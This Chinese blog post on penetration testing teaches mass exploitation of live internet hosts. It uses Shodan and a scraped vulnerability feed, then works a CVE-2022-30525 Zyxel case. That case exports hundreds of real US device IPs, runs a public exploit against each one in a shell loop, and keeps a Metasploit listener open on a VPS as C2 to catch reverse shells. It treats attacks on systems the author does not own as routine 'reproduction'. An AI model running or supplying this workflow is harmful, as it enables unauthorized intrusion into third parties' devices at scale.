实战经验 | Shodan批量刷漏洞与自动化Getshell技巧

admin 2022年7月12日08:17:03评论1,186 views字数 4649阅读15分29秒阅读模式
实战经验 | Shodan批量刷漏洞与自动化Getshell技巧

点击上方“蓝字”,关注更多精彩

0x00 前言

渗透测试学习过程中,漏洞复现是一个必不可少的一个环节。但是复现漏洞存在以下几个痛点:

1、漏洞复现2分钟,环境搭建2小时。

2、商业软件、未开源组件难以甚至无法下载搭建安装。

3、刚爆发的0day,无法第一时间进行复现。

vulhub-master(https://github.com/vulhub/vulhub)解决了第1个痛点的大部分;而2和3则可以通过Shodan来解决。

0x01 shodan简述和利用

Shodan是互联网上最可怕的搜索引擎。

实战经验 | Shodan批量刷漏洞与自动化Getshell技巧

shodan大家肯定都有所了解,这里就不多介绍了。主要说一下shodan的工作原理、常用语法和常用功能。

shodan 工作原理

明白一下工作原理,你会更加清晰地知道自己想要什么资产或者信息。

Shodan每隔一段时间就会对全球大约6亿主机进行端口扫描,通过对返回Banner信息的处理,识别特定主机,并进行分类储存。为了避免因政治、技术等原因导致的扫描信息误差(比如某墙),Shodan的扫描主机遍布在全球的8个国家和地区。

我们提交一次搜索请求,背后逻辑为下图,其实重点就放在了前面的ip与端口探测。

实战经验 | Shodan批量刷漏洞与自动化Getshell技巧

这里顺便提一下,与之类似的fofa工作原理也大同小异,需要明白的是哪些fofa不会收集,哪些会收集:

例子 是否会被收录 解释
111.111.111.111:80 IP、端口两要素
111.111.111.111:80/a/a.html 仅会收录根目录返回结果,二级目录不会收录,fofa不会进行目录扫描
http://baidu.com:80 可能 某些特定情况下,可能会扫到baidu.com对应的IP,并且该IP未作针对性防护
http://baidu.com:80/a/a.html 可能(概率很小) 唯一一种可能的情况就是/test/目录单独解析到某个IP,或服务由某个IP节点提供

shodan常用语法

shodan搜索语法可以参考:https://www.shodan.io/search/filters,这里列举出常用的,基本覆盖了漏洞复现的常见场景。

  • Keyword 直接搜索关键词(apache、ip、webcam、netcam)
  • Port 端口(Port:xxxx)
  • http.title 网站标题(http.title:”xxxxx”)
  • http.html 网站内容(http.html:”xxxxx”)
  • http.status 网站状态码(http.status:xxx)
  • http.favicon.hash 网站ico哈希值(http.favicon.hash:xxxxxxxx)
  • vuln 漏洞CVE(vuln:CVE-20xx-xxxx)

还有几个常用功能:查看报告,下载结果、历史趋势和地图分布展示,截图就不展示了。

实战经验 | Shodan批量刷漏洞与自动化Getshell技巧

shodan API

用过fofa的小伙伴应该对fofa viewer不陌生,就是根据fofaAPI开发的一个GUI工具。shodan肯定也是有的。

kali中就自带shodan工具,只需要将API加载进来即可使用shodan

实战经验 | Shodan批量刷漏洞与自动化Getshell技巧

常用的shodan API命令:

shodan search 'apache' --fields ip_str,port --limit 10 --separator +
//--fields    指定输出结果,ip_str为仅ip,port仅端口
//--limit 10   仅10个结果,和docker search一个意思
//--seperation +  以+分割
实战经验 | Shodan批量刷漏洞与自动化Getshell技巧

需要注意的是,有时候只输出ip会有重复的输出,可以在后面加个uniq命令去重

实战经验 | Shodan批量刷漏洞与自动化Getshell技巧

如果想要在其它Linux系统上安装,参考(需要python环境):https://help.shodan.io/command-line-interface/0-installation

0x02 Shodan自动化getshell案例

对于安全人员来说,可以利用shodan来跟进最新漏洞实战靶机测试。只不过我们需要用一些漏洞平台来进行相关漏洞信息。

常用漏洞库与信息网站

exploit_db   https://www.exploit-db.com/  十分全
Hacker News     https://news.ycombinator.com/ 消息较为灵通
知道创宇   https://www.seebug.org/   相关漏洞总结地很好
阿里云漏洞库  https://avd.aliyun.com   页面容易爬下来

python爬取漏洞信息

复现漏洞往往具有很强的针对性,不仅仅是漏洞编号,有时是必须带有POC或者EXP的。那么这里以阿里云漏洞库为例子,复现已经武器化的漏洞,这部分漏洞大致有RCE和未授权访问漏洞。顺便提一嘴:阿里云漏洞库不支持按漏洞状态过滤。

根据阿里云的页面,编写出一个脚本用来爬取漏洞信息,超过大概10页就会被检测终止,适当更改sleep时间或者只改漏洞页数。

import requests
from bs4 import BeautifulSoup
import lxml
import re
import time

with open("CVE.txt","w")as f:
    #遍历页数并收集返回包
    for i in range(1,20): #漏洞页数,可自定义10-30也可以
        r = requests.get('https://avd.aliyun.com/high-risk/list?page={}'.format(i))
        soup = BeautifulSoup(r.text,"lxml")
        #在每次的返回包中寻找关键标签并遍历
        for tr in soup.find("tbody").find_all("tr"):
            #定位到tr.td.a标签的href属性
            link = "https://avd.aliyun.com" + tr.td.a['href']
            title = tr.find_all("td")[1].string
            #倒数第二个button
            cve = tr.find_all("button")[-2]["title"]
            #倒数第一个button
            status = tr.find_all("button")[-1]["title"]
            print(cve,status,title,link)
            #写入文件
            f.write("{} {} {} {}n".format(cve,status,title,link))
            #虽然with open...as自动帮我们关了文件句柄,但是还是要写一下
        time.sleep(1)
实战经验 | Shodan批量刷漏洞与自动化Getshell技巧

随后我们就可以选择其中一个尝试到shodan去搜索,当然,要根据漏洞的特征去搜索,下面就举个栗子。

CVE-2022-30525 Zyxel 防火墙远程命令注入漏洞批量刷

POC:https://github.com/Henry4E36/CVE-2022-30525

EXP:https://github.com/Chocapikk/CVE-2022-30525-Reverse-Shell

Shodan API 导出ip

将存在该组件的主机ip和端口保存至文件。

shodan search 'http.title:"USG FLEX 100","USG FLEX 100w","USG FLEX 200","USG FLEX 500","USG FLEX 700","USG FLEX 50","USG FLEX 50w","ATP100","ATP200","ATP500","ATP700" country:"US" ' --limit 400 --fields ip_str | uniq > con.txt 

因为这个POC使用dnslog来验证漏洞存在的,十分地慢,这里就用shell编程的for循环批量执行POC

注意,这个操作会十分消耗内存和CPU,虚拟机很容易崩,建议至少8GB内存和4核

for ip in `cat  1.txt` ;do python3 CVE-2022-30525.py -u https://$ip 2>/dev/null 1>>result.txt & done
less result.txt  | grep [√] 
实战经验 | Shodan批量刷漏洞与自动化Getshell技巧

msf监听session获取反弹shell

部署一台公网VPS安装好msf当做C2平台后,开启msf监听:

//防止session意外退出:
set ExitOnSession false    //可以在接收到seesion后继续监听端口,保持侦听。
set SessionCommunicationTimeout 0  //默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为0
set SessionExpirationTimeout 0   //默认情况下,一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关闭
exploit -j -z      //后台持续监听
实战经验 | Shodan批量刷漏洞与自动化Getshell技巧

可能是exp有问题,单个脚本执行没问题,但是msf就是上不了线。。。只是为了演示shodan批量刷的方法,这个我就不深究了哈,已经帮我们节省了很多手刷的时间了。

实战经验 | Shodan批量刷漏洞与自动化Getshell技巧

0x03 References

https://zgao.top

https://www.shodan.io/search/filters

https://mp.weixin.qq.com/s/HJc7yDmCSvSCxxCP7LUuFg

https://github.com/Henry4E36/CVE-2022-30525

https://github.com/Chocapikk/CVE-2022-30525-Reverse-Shell

实战经验 | Shodan批量刷漏洞与自动化Getshell技巧

往期推荐

实战经验 | 解决ssh链接VPS掉线问题

内网渗透 | 文件共享服务与ipc横向详解

内网渗透 | JS脚本下载payload与代码分析

内网渗透 | 内网隐藏技术之我见

红队建设 | 入侵痕迹抹除

红队建设 | 网络钓鱼技术

红队建设 |  流量加密

红队建设 | certutil详解

每日技巧05 | VM16安装macOS

Clash RCE漏洞复现与高级利用(配合社工)

CVE-2021-4034 Linux Polkit本地提权漏洞

CVE-2021-31760 Webmin CSRF致使RCE

CVE-2022-22965 Spring core RCE漏洞

          CVE-2020-1472 ZeroLogon漏洞复现利用(Netlogon域提权)

郑重声明该公众号大部分文章来自作者日常工作与学习笔记,也有少数文章是经过原作者授权转载而来,未经授权,严禁转载。如需要,请公众号私信联系作者。

请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与原作者以及本公众号无关。

实战经验 | Shodan批量刷漏洞与自动化Getshell技巧
实战经验 | Shodan批量刷漏洞与自动化Getshell技巧
扫码关注
人若无名便可潜心练剑
专注渗透测试、工具开发


原文始发于微信公众号(HACK技术沉淀营):实战经验 | Shodan批量刷漏洞与自动化Getshell技巧

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月12日08:17:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实战经验 | Shodan批量刷漏洞与自动化Getshell技巧http://cn-sec.com/archives/1165821.html

发表评论

匿名网友 填写信息